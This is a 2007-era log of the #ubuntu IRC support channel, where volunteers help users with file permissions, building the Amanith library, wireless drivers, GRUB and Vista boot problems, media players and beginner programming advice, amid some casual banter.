!bind [03:00] Sorry, I don't know anything about bind - try searching on http://ubotu.ubuntu-nl.org/factoids.cgi [03:00] rojo^, alright let me tinker and see what happens [03:00] I am having trouble using "walktest" [03:00] ive set the amanith build directory jk__ [03:00] g'luck [03:00] i think thats the only necessary one [03:00] whitespy9, you can do relative or absolute pathing [03:00] sudo chmod a+r v1ch02 [03:00] but the directory is still read only :( [03:00] whitespy9, chmod 775 ../some/path or chmod 775 /path/to/dir [03:01] TheShadow: ok give me a sec, there are a buncha steps here . . . [03:01] hello ppl [03:01] Can someone please help me? [03:01] alright [03:01] can someone help me decipher key bindings? "\C-g": abort ..what does that mean, its the first line of "bind -p" output [03:01] TheShadow: I have to do qmake,etc [03:01] right [03:01] what is a good media player for handling large playlists? amarok and banshee crash frequently on me [03:02] I need help pls [03:02] whitespy9, +r is read permission you need +w to write +x is exec...I personally like the number system better =) r=4 w=2 and x =1 so 775 is rwxrwxr-x [03:02] Can anyone help me? [03:02] I tried "sudo chmod 775 v1ch02" [03:02] no luck [03:02] im tryng hard to understand drbl, can someone help me pls. [03:02] whitespy9, important note why you specify it 3 times: the first group is your permissions, the second your groups permissions, and the last is everyone else on the box [03:02] what is your problem, Undead_Zeu1 [03:03] hello, i have a problem with vlc player, it works even after closed... [03:03] Will Gusty play sound with Realtek ALC888s sound card? [03:03] TheShadowZero: I downloaded the source tar file from www.amanith.org and listed it, and found gelement but it seems to be in a different directory than you were building in. Here's the output...-rwxrwxrwx 0/0 24463 2006-01-26 04:18 amanith/src/gelement.cpp [03:03] so anyone have any idea how I can disable mouse keys (ie, moving the cursor using numpad keys) [03:03] whitespy9, what are you trying to do read files in that dir? [03:03] robdig, yeah, its there [03:03] should i copy it to where amanith wants it? [03:04] Marfi: I am trying to program a 3d application using Crystal space, I got everything pretaining to crystalspace since nothing worked. in order to check if it works properly, you type "walktest" in terminal. i get "crystalspace.system: Failing to load map!" [03:04] TheShadowZero: worth a try :) [03:04] yes, but my problem occurs when I want to write a file there [03:04] the actual error is much larger, but that is the problem [03:04] Undead_Zeu1, have you tried to google the error? [03:05] what was the command for reading partitions inside of a filesystem (which i have in a file)? === DarthShr1ne is now known as DarthShrine [03:05] whitespy9, in the parent directory do ls -al vl[whatever] and copy and paste the permissions of that 1 line in [03:05] i went to ubuntu forums, someone who posted the same problem as I did never got a response despite bumping after further investigation [03:05] ubuntu bug #116804 says it was mispackaged [03:05] TheShadowZero: ditto for me, their tarball has a problem [03:05] bah :\ [03:05] Undead_Zeu1, sorry, but i have never messed with crystal before. =( [03:06] Gah. It is a good system [03:06] well ok. i have to admit, maybe i am starting on the wrong foot by attempting a 3d application. the OpenGL Red Book doesn't explain much on how to program for linux [03:06] whitespy9, permissions are the first column on the left...looks kinda like: -rwxr-xr-x [03:06] TheShadowZero: i'll see if it' something i can fix quickly in the makefile [03:06] okay [03:06] is there a good place i can read about two dimensional OpenGL for linux [03:07] how do I take all of the packages marked for removal in aptitued and cancel the removal? [03:07] !bash [03:07] The linux terminal or command-line interface is very powerful. Open a terminal via Applications -> Accessories -> Terminal (Gnome) or K-menu -> System -> Konsole (KDE). Guide: https://help.ubuntu.com/community/UsingTheTerminal [03:07] Undead_Zeu1, do a search for glut and OpenGL. i know glut worked on windows, and im pretty sure there were linux libraries for it [03:07] Awesome. Thanks marfi, you've been a great help [03:07] Undead_Zeu1, np. =) [03:08] anyone know of a good media player that is friendly with large playlists? have tried amarok and banshee, and they aren't too friendly [03:09] Marfi: try mPlayer or vlc [03:09] Marfi: vlc is the better overall player I think [03:09] well i tried copying getelement.cpp to build/ [03:09] thx thor [03:10] Marfi: amarok is very friendly with large playlists if you use mysql [03:10] and now there are more errors: http://rafb.net/p/JSQuAS47.html === Thecks----- is now known as Thecks_ [03:10] and neither mplayer nor vlc are a good idea for maintaining large music collections. [03:10] TheShadow: still looking . . . [03:11] k [03:11] for large music collections I still use xmms...haven't found anything better [03:11] audacious? [03:11] audacious is what I use too, because I can't get used to any of the complicated itunes-clones UIs [03:11] but it does have a hard time with large playlists, especially the version that was in feisty (haven't tried gutsy, but SVN was much better) [03:12] but it's slow when handling 3000+ playlists [03:12] n/m figured that out, but is there a reason why pidgin is being held back? [03:12] same problem with gutsy [03:12] How the hell i create a shortcut form /media/files/whatever.txt to the desktop? [03:12] from [03:12] im upgrading to hardy, they're using the last pkg [03:12] cvd, man ln [03:12] xange: because Ubuntu strives for version stability, and only provides upgrades when security updates are required [03:12] I find audacious is fine with 20000 playlist.. but creating that playlist is slow as hell and a find cmd at the shell is easier to generate the .pls [03:13] link? [03:13] fine with 20K!? [03:13] it's slow with 3k [03:13] :S [03:13] its say Operation not permited [03:13] wow [03:13] cvd: like symlink? [03:13] scguy318: but there are security updates that aren't being installed because the main packages are being held back (as noted by aptitued) [03:14] xange: do sudo aptitude dist-upgrade then [03:14] i use the right-lick make-link [03:14] cvd "ln /media/files/whatever.txt ~/Desktop" [03:14] or wherever your desktop is [03:14] xange: that will permit the installation of held back packages I believe [03:14] Anybody use Realtek ALC888s with Gusty? [03:15] TheShadow: still looking ... [03:15] How I replace directory names eg. foo-0.1 and bar-1.0.1 to foo and bar only? I've tons of directories... =/ [03:15] okay [03:15] I am trying to mount a hard drive with a JFS partiton (/dev/sdb1) to /mnt, and I keep getting the "mount: wrong fs type, bad option, bad superblock on /dev/sdb1" message. Any ideas? This is a new 7.10 install with a rieserfs I did mount -t jfs /dev/sdb1 /mnt [03:16] hello, i need help fixing my screen resolution, i had a 1440x960 resolution before, i was running wine and it froze so i was forced to reboot and then it went to 1400x1050, does anybody know how to revert it? [03:16] cvd@cvd-pc:/media/files/music$ ln music.txt /home/cvd/Desktop/ [03:16] ln: creating hard link `/home/cvd/Desktop/music.txt' to `music.txt': Invalid cross-device link [03:16] cvd, ln -s [03:17] I just saw Goatse again :d [03:17] TheShadow, say 'link Broken' [03:17] TheShadowZero: you have your shell open? [03:17] yep [03:17] TheShadowZero: env | grep AMA [03:18] AMANITHDIR=/home/omar/temp/amanith [03:18] where it should be [03:18] TheShadowZerp: env | grep LD [03:19] i need help fixing my screen resolution, i had a 1440x960 resolution before, i was running wine and it froze so i was forced to reboot and then it went to 1400x1050, does anybody know how to revert it? i am running ubuntu 7.10, can anybody help me please? [03:19] can someone translate this for me? drwxr-xr-x [03:19] jk__, LD_LIBRARY_PATH=/usr/local/qt/lib:/home/omar/temp/amanith/lib: [03:20] Ubuntu tends to turn off my monitor after 10-15m despite the fact that I have the power setting disabled in the screen saver options -- neither Fedora nor Windoze do it, though, so I don't think it's my BIOS or monitor's settings. Is this a bug or something? I've got a Viewsonic Model#10162 if that helps at all.. [03:20] TheShadowZero: ok one sec, i did get that same error but just got a make to go through ... [03:20] hey guys how do i install Flash on ubuntu? [03:20] !flash [03:20] To install Flash see https://help.ubuntu.com/community/RestrictedFormats/Flash - Flash 9 is now available in dapper-backports and edgy-backports - See also !Restricted and !Gnash [03:20] heh [03:20] i think if you goto a website that requires flash firefox is able to install it for you, ToddEDM [03:20] ToddEDM: install flashplugin-nonfree [03:20] ToddEDM: sudo apt-get install ubuntu-restricted-extras [03:20] okay [03:20] well Nematocyst full restart and reinstall didn't help. adblock simply doesn't load. I can click on tools and open the adblock windows but there are no automatic filter lists to subscribe too and the adblock button doesn't appear on the toolbar. i don't get it. [03:21] whitespy9: it is a directory, the owner can read, write, and execute, the group can read and execute, and the world can read and execute. Since the item in question is a directory, the execute bit means that those groups can do an ls in it... [03:21] TheShadowZero: just running it again one sec [03:21] <[Gutsy]TuTUXG> anyone knows do i need to reinstall/reconfigure after i upgrade my laptop's cpu? [03:22] [Gutsy]TuTUXG: most likely no [03:22] does anyone know what causes duplicate mounting? i.e sometimes if have a cd in at startup, i'll have cdrom0 and cdrom1 of exactly the same thing, and cdrom0 will be unmountable. [03:22] is there a way to setup ubuntu 7.10 as a gateway? [03:22] <[Gutsy]TuTUXG> scguy318, so the kernel will just recognize the new processor? [03:23] TheShadowZero: ok got it [03:23] hey [03:23] alright [03:23] TheShadowZero: the instructructions are bad [03:23] heh [03:23] [Gutsy]TuTUXG: yes [03:23] musashi, hm. i'd probably try shutting down ff, renaming ~/.mozilla temporarily and retry. just to see if that solves it (you restore ~/.mozilla afterword) [03:23] TheShadowZero: tar -zxvf aman*.gz [03:24] <[Gutsy]TuTUXG> scguy318, ok, thnx XD [03:24] TheShadowZero: set up all that path crap [03:24] scguy318: you sure thats the command for flash? [03:24] TheShadowZero: cd build [03:24] freenode [03:24] TheShadowZero: nix that -- that's the problem [03:24] which part? [03:24] TheShadowZero: you need to do this: from the ROOT DIR, run qmake build/build.pro [03:24] [Gutsy]TuTUXG: unless you've say installed a 32-bit CPU for a 64-bit kernel, which you probably are not doing :) [03:24] ToddEDM: for Flash plugin yeah [03:24] Ubuntu tends to turn off my monitor after 10-15m despite the fact that I have the power setting disabled in the screen saver options -- neither Fedora nor Windoze do it, though, so I don't think it's my BIOS or monitor's settings. Is this a bug or something? I've got a Viewsonic Model#10162 if that helps at all.. [03:25] TheShadowZero: THEN cd build/ and make [03:25] freenode [03:25] ToddEDM: make sure your other repos are enabled of course [03:25] TheShadowZero: run the qmake from the root dir <--- [03:25] TheShadowZero: qmake build/build.pro [03:25] okay [03:25] TheShadowZero: rather than cd build / qmake build.pro [03:25] TheShadowZero: don't ask me why [03:25] <[Gutsy]TuTUXG> scguy318, no, it's just minor upgrade, same processors, different clock [03:25] heh okay [03:25] i have a mounted file system. using dd, how would i copy that to another partition? [03:26] should i still setup the paths, though? [03:26] TheShadowZero:how's that for ubuntu forum service over fedora ? =) [03:26] TheShadowZero: yes, all that stuff you had 100% correct [03:26] much better i must say [03:26] * genii sips [03:26] in #fedora i just got "oh the code is crap, im not gonna bother" [03:26] Hey I asked for some help earlier. I was wondering if anyone else knows some info on my problem. I'm running 7.10 and my wireless (Atheros) connection is at 11, 8, or 16mbps but it should be 54. It works fine under Windows XP. Any ideas why its so slow? [03:26] and then calling you guys unewbtoo [03:26] it was really unnecessary...#fedora is seriously always full of pricks [03:26] hey === aeGIs is now known as aegis [03:27] how would I rsync two boxes on a lan? [03:27] tigran: free drivers or proprietary ? [03:27] if you install a dual-boot do you erase the data on windows? [03:27] does it erase the data on windows? [03:27] I am trying to mount a hard drive with a JFS partiton (/dev/sdb1) to /mnt, and I keep getting the "mount: wrong fs type, bad option, bad superblock on /dev/sdb1" message. Any ideas? This is a new 7.10 install with a rieserfs I did mount -t jfs /dev/sdb1 /mnt [03:27] amason_: its the madwifi. Thats proprietary? [03:28] TheShadowZero:if that works, i recommend you ping the anamith people and ask them to update their docs [03:28] Hiya, looking at bug #133020 in which magicfab (Fabián Rodríguez) indicates that he can see vmware being uploaded. Only I'm not seeing it. Any ideas? [03:28] will do, its compiling [03:28] anyone here a programer [03:28] what kind of programmer [03:28] I'm trying to run Cedega and the test wizard is saying something about I need 32bit emulation enabled for the tests to complete properly. Just wondering how I enable 32bit emulation? I'm using Ubuntu 7.10 x64 [03:28] I need an App to covert a VOB file to avi [03:28] tigran: yeh it loads a binary only module [03:28] that is it, i am not sure [03:28] i want to learn to program [03:28] tigran: the driver is free but not the blob [03:28] docmur: ffmpeg ? [03:29] is it graphical or command line only [03:29] amason_: It was working fine before I reinstalled Ubuntu tho. Same version. === ryan_ is now known as TuxOtaku [03:29] mediahunter: I know C++ [03:29] but i dont want to make web pages i want to write software, i guess that would be what low leval programing [03:29] learn bash, it has practical uses so is easy to learn by example if you learn by example that is [03:29] tigran: hmm erm...same version of the binary-blob ? [03:29] tigran are you willing to teach someone who is eager to learn and very smart and quick minded [03:29] alright, so I installed 7.10, and now I can't see my vista os, I can access the command prompt using the vista cd, but I can view all files on C drive, but I can't boot to it. Anyone know anything? [03:30] once you understand one language, hopping to another is simple as it is just different implementations of the same core concepts [03:30] docmur: command line, but it's easy : ffmpeg -i input.filetype output.filetype [03:30] Gnome has a GUI application for changing the screen resolution. Is there a similar application that can be run from the command line so that I can integrate it into a script? [03:30] amason_: yea, off the restricted drivers. [03:30] docmus: don't know about VOB but it's always the first thing i check [03:30] mediahunter: you want to learn c++? [03:30] c++ is not a starter language I wouldn't say [03:30] python's good for starting [03:30] How do I enable x32 emulation on my x64 ubuntu install ? [03:31] bruenig: its what I started with :P [03:31] Yes i do, that is the base laung code for most codes, ok then what would be a good started lang to start with and go from [03:31] tigran: sorry can't really help. [03:31] TheShadowZero: still building? what are you on, an 200mhz machine ? [03:31] amason_: k [03:31] :P 3.2ghz [03:31] amason_: thanks anyway [03:31] but yeah, its still building [03:31] mediahunter, so search amazon for books [03:31] oh look it just finished [03:31] anyone else know much about wireless cards/drivers? [03:31] mediahunter: start with HTML [03:31] yay it worked [03:31] alright, so I installed 7.10, and now I can't see my vista os, I can access the command prompt using the vista cd, but I can view all files on C drive, but I can't boot to it. Anyone know anything? [03:31] thanks so much jk__ [03:31] tigran: I'm no expert, but question? [03:31] mediahunter: it's easy and you'll get the confidence to go from there [03:31] regarding dd, i'm trying to output to a mounted file system but it tells me it's a directory.. [03:31] not a big fan of HTML i want to make programs not web pages [03:31] mediahunter: i recommend python [03:31] Why this don't function? >> rename 's/\([^-]\)+.+/$1/' * [03:31] ok [03:32] I started with PHP [03:32] hello [03:32] Sp3c1alK: there's no GRUB entry for Vista? [03:32] python i have heard of that [03:32] mediahunter, start with C [03:32] scguy318: My connection speed is at 11mbps, but should be 54. Worked fine before I reinsatlled ubuntu and works fine in XP. [03:32] mediahunter, then go to C++ [03:32] scguy318: correct [03:32] mediahunter: hop onto #python and people there will give you plenty of pointers [03:32] its more of scripting language (PHP is) [03:32] docmur, hit doom9.org. they specialize in that. granted most of the tools are windows, but they do have a linux section [03:32] mediahunter, from there u can go pretty much anywhere [03:32] ok [03:32] thanks scguy318 ...works [03:32] under what IRC server [03:32] this one [03:32] v1d4l0k4, what are you trying to do? [03:32] tigran: if its Broadcom, no surprise, Gutsy restricted for Broadcom is not very good [03:32] mediahunter, to python, java, ruby [03:32] tigran: you may wish to consider the ndiswrapper option [03:32] ok [03:32] scguy318: Its an Atheros card, Madwifi driver [03:32] TheShadowZero: sweet. do follow up with them to have them update their docs. "give back" and all that [03:32] isthere a C code IRC room lie python has [03:33] bruenig: rename all directories eg. foo-0.1.2 and bar-0.2.3 to foo and bar only :( [03:33] will do [03:33] ##c [03:33] !grub | Sp3c1alK [03:33] Sp3c1alK: grub is the default Ubuntu boot manager. Lost grub after installing windows: https://help.ubuntu.com/community/RecoveringUbuntuAfterInstallingWindows - Making GRUB floppies & other GRUB howtos: https://help.ubuntu.com/community/GrubHowto [03:33] Does anyone know where I could find help with screen resolutions? [03:33] Sp3c1alK: I think the last link has a snippet of a proper entry for Windows [03:33] Sp3c1alK: for /boot/grub/menu.lst [03:33] v1d4l0k4, for dir in *; do mv "$dir" "${dir%%-*}"; done [03:33] tigran: https://wiki.ubuntu.com/SetupNdiswrapperHowto [03:33] scguy318: alright thanks I'll check it out [03:33] mediahunter: i know a good bit of C and C++ and I'd recommend you start with a higher level language first so you can apply ideas instead of worrying about pointers. [03:33] tigran: that may be helpful in resolving your issue [03:33] scguy318: Alright, I'll give it a try. [03:33] Sp3c1alK: if you're desperate to get back to Vista [03:34] mediahunter: from there, you can "dig deeper" if you want. python is a good suggestion too [03:34] Sp3c1alK: burn a Super GRUB CD and use it to boot to Vista [03:34] mediahunter: the first language you learn should be easy, it doesn't have to be the last one you'll ever use. hardly anyone programs in the first language they learned [03:34] ok jk_ [03:34] bruenig: wow! thx so much guy ;) [03:34] v1d4l0k4, parameter expansion is powerful [03:34] bruenig: all right :D [03:34] scguy318: Where can I find that at? [03:34] so python is a good one to start with [03:34] got ya [03:34] thank you all for the pointers [03:34] Sp3c1alK: http://supergrub.forjamari.linex.org/?section=download [03:34] i will look into python and work my from there [03:34] mediahunter: i'd actually highly recommend you start with an idea [03:35] define an idea [03:35] like what what i want to program to do [03:35] mediahunter: something you want to DO. tetris, or some widget, or something ... [03:35] Someone should definitely pisg #ubuntu logs. [03:35] Probably will take hours [03:35] ok, [03:35] mediahunter: rather than starting out with just taking on a language [03:35] mediahunter: for example, i'm learning python now through django, because i want to know how to build web apps IN python [03:36] anyone have any idea why my ubuntu 7.04 server keeps crashing when its a live web server but when its running without traffic its fine? its 64-bit [03:36] ok, i want to start with a desklit then [03:36] and i know what i want it to do [03:36] a basic one [03:36] just mainly monitor my cpu and memory proces [03:36] mediahunter: so i'd suggest starting out with something you want to accomplish first, then reverse engineering it back to how to implement it. good want to learn without getting overwhelmed [03:36] just should be something easy to start with [03:36] mediahunter: yea, easier the better, no shame in that [03:36] C++ is for people who think this is clear: transform (values.begin(), values.end(), values.begin(), bind2nd (multiplies(), 2)); [03:37] that is how you learn [03:37] !offtopic [03:37] #ubuntu is the Ubuntu support channel, #ubuntu+1 supports the development version of Ubuntu and #ubuntu-offtopic is for random chatter. Welcome! [03:37] i am a big ham radio opp and electronics guru [03:37] i learned from the basic ideas so i can relate to what you are saying [03:37] mediahunter: yea, say, maybe you want a widget that displays that stuff. a widget that displays some ham radio thing === choudesh_ is now known as choudesh [03:37] Sp3c1alK: when you use the CD dont have it mess with bootloader, just do Windows -> Boot Windows [03:37] well there is a program that works in windows that i would like to make work on linux [03:38] but i am not sure if it has been done or not [03:38] anyone know how to fix the problem with amarok unmounting a drive when the program closes? [03:38] mediahunter: then i'd say find something similar, and tweak it. you'll learn a ton that way. [03:38] !wine | mediahunter [03:38] mediahunter: WINE is a compatibility layer for running Windows programs on GNU/Linux. See https://help.ubuntu.com/community/Wine for more information, and see !AppDB for application compatibility. [03:38] mediahunter, wine works wonders [03:38] i dont need wine [03:38] mediahunter: ah, a port? [03:38] it is not windows restricted [03:38] it is Opensource so the code is there for all [03:38] !AppDB [03:38] The Wine Application DB is a database of applications and help for !Windows programs that run under !WINE: http://appdb.winehq.org [03:39] i just have to start with something basic to learn code and go from there [03:39] so the idea of a desklit like jk sug is good [03:39] anyone? [03:39] mediahunter: but i really think that's the way to go rather than saying "i want to learn to program" because you'll drown in class libraries before you ever have anything working [03:39] I've got a problem loading my ubuntu OS after trying to create an LDAP client login... now everytime I boot, my password comes back as incorrect... what tells the login to check passwd or shadow? [03:39] jk__, would you be willing to help me with the next step? :P compiling PyAmanith [03:39] ok jk i want to make desklit and i know what i want it to do [03:39] can you tell me where to go from there [03:39] ie wiki or IRC [03:39] something to get the process rolling [03:40] mediahunter: i don't know what desklit is ... [03:40] heres the paste: http://rafb.net/p/T38ofC90.html [03:40] TheShadowZero: that breaks too ? :0 [03:40] basicly something in the GUI of linux the lays on the desktop that allows a funtion [03:40] IE CPU and Memory monitor [03:40] mediahunter: ah, ah a desklit. gotcha.

[03:42] hmm that seems a bit extreme [03:42] ah... thx goat [03:42] all i want to do is make sure all the packages I have are stable [03:42] TheShadowZero: url to python source ? [03:42] oh distupdate [03:42] i'll try that [03:42] hello guys in a KDE enviroment how to you load the wireless bars (wireless icon-network) onto the panel if anyone would help .. it will be greatly appreciated. thank you [03:43] python or pyamanith? [03:43] im looking for pyamanith right now [03:43] jessupx, they work interchangably with them [03:43] TheShadowZero: you tell me :) [03:43] I've got a problem loading my ubuntu OS after trying to create an LDAP client login... now everytime I boot, my password comes back as incorrect... what tells the login to check passwd or shadow? anyone happen to know? [03:43] jk__, well pyamanith is whats failing [03:43] !ati [03:43] To install the Ati/NVidia drivers for your video card, see https://help.ubuntu.com/community/BinaryDriverHowto [03:43] When I try to hibernate my computer just seems to go to sleep. The screen goes blank, nothing powers off, and I get no error messages. When i move the mouse it asks me to login. Anyone got any ideas why? [03:43] mediahunter: http://www.gnome.org/projects/tomboy/download.html [03:43] jk__, http://www.unrealvoodoo.org/hiteck/projects/pyamanith/ [03:44] mediahunter: that's just a suggestion; find something you're interested in [03:44] is there a package for code::blocks? [03:44] TheShadowZero: ok. all this for 2d graphics ? :P [03:44] jk__, frets on fire is an addictive and necessary evil :P [03:44] !kiba [03:44] Sorry, I don't know anything about kiba - try searching on http://ubotu.ubuntu-nl.org/factoids.cgi [03:44] Is there a way to limit my kids daily login time automatically? Ideally it would log them out when the time limit is reached. [03:44] lol [03:45] my wireless devices is reporting sending between 1 and 10mbit/s data all the time [03:45] anyone know how i can see what is doing it? [03:45] jk i have tomboy already so just take the source code and edit it with gedit [03:45] TheShadowZero: i was paging through a coffee table book of vanhalen circi 1980 today. talk about frets on fire [03:45] since i dont know how to use VIM [03:45] don't oppress the kiddies Smegzor [03:45] Marfi: thanks, that was exactly what I wanted, the help makes it sound like its to upgrade to a newer version of ubuntu, not update the packages [03:45] hahha brilliant [03:45] mediahunter: yea, first build it from source. that's an learning excercise in itself [03:46] ok. so use gedit to edit the source [03:46] Smegzor: man time.conf [03:47] jessupx, it checks if there is an update, then prompts you if you want to install the new distro. best way that i have found to update (if your not a command line nut. =) is through synaptic [03:47] TheShadowZero: this python thing is just a wrapper right? what's not to work ? [03:47] jk__, did you see the paste? [03:47] anyone know when the newest ATI driver will be included in the Repos? [03:47] heres the paste: http://rafb.net/p/T38ofC90.html [03:47] Smegzor, but -> Note, currently there is no daemon enforcing the end of a session. This needs to be remedied. === chaky_ is now known as chaky [03:48] does anyone know how to solve the problem with amarok unmounting a volume when it closes? [03:48] TheShadowZero: ah. good times. [03:48] heh [03:48] TheShadowZero: how about "sudo aptitude install fretsonfire" ? [03:48] Smegzor, you can use time.conf to configure times and crontab to kill when the time is over [03:49] jk__, #1. the ubuntu fretsonfire is verrrry slow, and #2 im on fedora [03:49] thanks. I already read that post. I was hoping there was something with a gui. [03:50] ah, like a windows programs doing that [03:50] jk where can i find the source code to work on it [03:50] anyone know what's up with CrystalSpace? [03:50] inside the gzip file [03:50] Can anyone help me with the gutsy partner repository? It seems to still be missing vmware-server. [03:50] yeah. I have a windoz prog that does it (not very stable though) [03:50] I seen there is a bug, but is there a workaround [03:50] anyone know when the newest ATI driver will be included in the Repos? [03:50] Smegzor, i have kidies as well and sometimes I need to block them, haha [03:50] of course now I've moved to Ubuntu I need something else [03:50] vile_maxim, someone was having a similar problem about 10 minutes ago. they said that it was packaged incorrectly [03:50] is there any directory for streaming tv shows... the don't require XP or OSXX? [03:50] hi guys, i installed ndiswrapper and installed the .inf file n it says that hardware present [03:51] Smegzor, you must do that, time.conf and crontab...it is easy :D [03:51] but i still cant connect to my wifi connectino [03:51] Marfi: That's what the bug report said... Just seeing if anyone knew more [03:51] I still can't figure out what ubuntus gameplan is...I know its debian testing with a few tweaks and has a sort of mostly one way symbiotic relationship with debian but what are they trying to do [03:51] TheShadowZero: great, have to install swig first . . . [03:51] vile_maxim, i don't, sorry. someone else may though. =) [03:51] jk__, youre so helpful i reallyyy appreciate it [03:51] TheShadowZero: Eddie Van Halen didn't have fretsonfire, do you really need it ?? :) [03:51] just kidding [03:51] van halen could play real guitar :P [03:51] wt? [03:52] Van hallen [03:52] TheShadowZero: i recommend you take up air guitar [03:52] oh that i can play [03:52] expert level [03:52] wtf is fretsonfire === gaYloVerZ is now known as storwberry_manie [03:52] i do concerts [03:52] thedefender, its a guitar hero like game for wii [03:52] wth is Eddie Van Halen? [03:52] *ubuntu [03:52] http://fretsonfire.sourceforge.net/ [03:52] hi guys, i am using Intel Pro Wireless220BG on my Acer laptop, was using windowsxp previosly and when i press the wifi button, it goes red, now it doesnt turn on either....any ideas? [03:52] Marfi, pc* [03:52] oh [03:52] burn_, it works, just doesn't light up [03:52] TheShadowZero: as a side note, let me recommend Ubuntu Linux. I can install this with one command in 30 seconds [03:53] extor: I cannot speak for the ubuntu staff, but it seems obvious to me... So obvious that I don;t understand your question. [03:53] heh [03:53] aldren: thanks. I'll try those out later. I tend to run a mile from config editing. I love me some GUI. [03:53] burn_, bring up a terminal, and do iwconfig, and it will tell you if its turned on or not. i have to do that with my laptop [03:53] if you have a acer your screwed [03:53] ubuntus official FoF is very slow [03:53] they need to make a game the teaches real guitar, i can play every song from the first game perfectly on real guitar but i suck on there [03:53] nothing like slow fretsonfire [03:53] vile if its that obvious then please explain it to me [03:53] acer is the hardest to config wit ubuntu [03:53] extor: errr... I didn't mean that as offensive as it might have came out [03:54] it came out pretty offensive lol [03:54] but intel 2200BG works out of the box with ubuntu [03:54] it took me three days to get Ubuntu to work right [03:54] acer is hard to get anything to work with, they have been the crappest brand for a long time [03:54] there keyboards are nice cause there cheap [03:54] anybody install Wicd on a laptop yet? [03:54] thats why i got rid of my acer [03:54] is there a way to disable the hpet time support without rebuilding the kernel? [03:54] vile were you implying my question answered itself? [03:54] thedefender, toshiba satelites are worse... [03:54] marfi: http://pastebin.ca/801288 [03:54] extor: They are trying to make a user friendily desktop linux in order to bring profits from support. [03:54] Smegzor, for cron you can install gcrontab (i think it is more hard on gui version than on console(vi) version), hehehe [03:55] extor: it seems I must be missing something though [03:55] extor: of your question that is [03:55] i have an old school satellite that still has windows 3.1 on it [03:55] ick [03:55] mint! [03:55] marfi: how do i get like a lil indicator on my taskbar, like my wired connection? [03:55] vile well have they actually brought in any profits yet? [03:56] burn_, is it a clean install of ubuntu? also, push the button one more time to get the radio on [03:56] obviously no one knows anything about when Ubuntu updates its ATI restricted drivers, so i am going to the pub [03:56] extor: not sure on that point... most businesses fail so we will see. They did get a contract with dell.. Not sure how any of this is working out for them though [03:57] marfi: well my cd rom didnt work, so i installed Ubuntu thru network boot [03:57] I remeber reading ubuntu was started by the guy from thawte who donated $10 million to it...I wonder now if that was a gift...or an investment hehe [03:57] what java package should i install? there is like 7 different ones. [03:57] Nematocyst, yep, that worked. i renamed .mozilla and then restarted firefox and installed adblock. worked just as in the past. must be something odd in my .mozilla. I think i'll just copy the bookmarks and such over to the new .mozilla and not worry about it. thanks for the help [03:58] mark shuttleworth started ubuntu, right? [03:58] dude that own ubuntu is a billionare [03:58] thedefenter: yea, i'm one of the 200 people who logged that ATI bug too . . i dunno [03:58] I thought he was only 50 millions worth or so [03:58] musashi, interesting. glad it worked though [03:58] extor: I assume that was the fonder of the support company.... forget his name. [03:58] burn_, ah, ok. there should be one for wireless. you can use network-manager. an easier one is wifi-radar, sudo apt-get install wifi-radar =) [03:58] marfi: dude, i pressed it a few times, but it still doesnt connect [03:58] thedefenter: it seems to be a combination of ATI and kernel settings, but it looks like a mess [03:58] hey having 5 million will still do you well enough [03:58] Nematocyst, it's a clean install too so odd that something was hosed so quickly [03:58] extor: when its that much, who really cares, the guy can go to the moon, thats for sure!! [03:59] how would i go about setting up a mirror/cache for ubuntu packages? [03:59] marfi: i mean i pressed it a few times, then iwconfig, still displays as turned off [03:59] vile I forget his name too but I do remember reading he threw $10 million at it...just wonder if that went to hell or if there was a plan behind it. Cuz the article sounded like it was almost "charity" [03:59] so all of my 7.10 boxes can share the downloaded updates [03:59] burn_, you only have to push it once. =) and it will show up under radio [03:59] jk__: i have installed it before but hated having to mess with it since i use the generic kernel and the real time [03:59] TheShadowZero: what a pain . . . [03:59] i am so appreciative of your help jk__ [03:59] really :D [03:59] really wanting it to be in the repos so that i can get both [03:59] thedefender: best bet seems to be to go back to fiesty, sorry to say [04:00] NEVER [04:00] marfi: haha i did press it once, then typed back iwconfig in terminal n repeated the process, but everytime it doesnt turn on [04:00] jk__: i'll buy an nvidia card before that happenhs [04:00] really don't wanna shell out the money [04:00] hey all i did a hardrive resize, but it crashed half way through .. i don't see any data on the hardrive any more but gparted says it still sees the data being used.. this is all done on a ext3.. is there a way to recover the data? [04:01] extor: I don;t trust rich people out write, but it could have been.... But if it was charity, why set up a new organization... Why not just donate it to Debian. [04:01] HEY does anyone know if there is a CPU temp value in /proc? [04:01] or know of a tool to display it? [04:01] will Realtek ALC888s work with Gusty? [04:01] vile yeah thats what intrigues me too...very interesting moves. Maybe it has to do with tax breaks [04:01] burn_, try sudo ifconfig eth0 up [04:01] fxef: try it and tell us [04:01] how come Ubuntu doesn't provide access to US timezones during install? i've never lived in a city which was in the list... but I've always lived in a US timezone... and it looks like they exist in /usr/share/zoneinfo/US, so why aren't they in the selectable list? [04:01] extor: most people give money to get something back... not always, but usually. [04:02] marfi: i do have wifi radar, i added the ssid, but it still says "Connected to None" okay ill type that in terminal first [04:02] vile yes exactly...his scheme might have been more sophisticated so as to look different than it actually is === Thecks_ is now known as Thecks [04:02] is there a way to fix the time zone problem [04:02] peace all good luck with your tech probs [04:02] hello guys in a KDE enviroment how to you load the wireless bars (wireless icon-network) onto the panel if anyone would help .. it will be greatly appreciated. thank you [04:02] vile_maxim: whatever the case, it's all open source, so you can fork gutsy right now into vile_gutsy if you want [04:02] if i use a us timezome and update comes out i cant download them [04:02] Nematocyst, what do you mean about the time zones? i always see some. i choose denver everytime i install as it's my timezone. [04:03] Anyone around?. Who can tell me how i can get my ubuntu server to rename a complete folder with 84 .rar files in it without ruining the file inside the rar files?? :( [04:03] i have to choose a time zone in europe to download updates [04:03] thedefender: don't have it yet, need to know if it works before I order it. [04:03] TranceControl, the rename a folder within the .rar archive? [04:04] hola [04:04] directory* [04:04] TranceControl: you want to just change the name of the folder, or the files too? [04:04] jk__: sure... and which is why I use it. But there are other conserns than just open source [04:04] goat the files .. [04:04] i typed in iwconfig after typing sudo ifconfig eth0 up still says radio off [04:04] TheShadow: i'm getting the same error, trying to work through it [04:04] TranceControl, are the names u want to rename files to following any pattern? [04:05] having some problems booting ubuntu, i can't run a live cd, i had to install off the alternative, and now the only way i can get it to do anything is to use recovery mode in grub? [04:05] usser: are you about to explain prename? [04:05] musashi, yeah. you can pick a city in the same timezone as you. it's just annoying since I don't live in Denver. though i usually pick Shiprock. heh [04:05] macogw, i was going to go with simple script :) [04:05] macogw, whats prename? [04:05] QUESTION: I am not able to boot my computer any more. (I am typing this off the LiveCD!) The screen comes up to GRUB and then stops. [04:05] macogw, aha [04:05] usser well atm the name of the files are with spaces ... and it 